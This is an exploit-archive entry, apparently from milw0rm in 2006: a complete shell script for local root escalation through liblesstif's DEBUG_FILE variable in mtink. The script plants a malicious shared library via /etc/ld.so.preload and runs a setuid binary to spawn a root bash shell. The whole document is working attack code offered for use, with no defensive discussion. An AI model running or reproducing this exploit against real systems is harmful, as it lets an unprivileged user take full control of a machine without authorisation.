liblesstif 2-0.93.94-4mdk - 'DEBUG_FILE' Local Privilege Escalation

#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
	if (getuid()!=0 && geteuid()==0)
	{
		setuid(0);
		unlink("/etc/ld.so.preload");
		execl("/bin/bash", "bash", 0);
	}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping

# milw0rm.com [2006-08-08]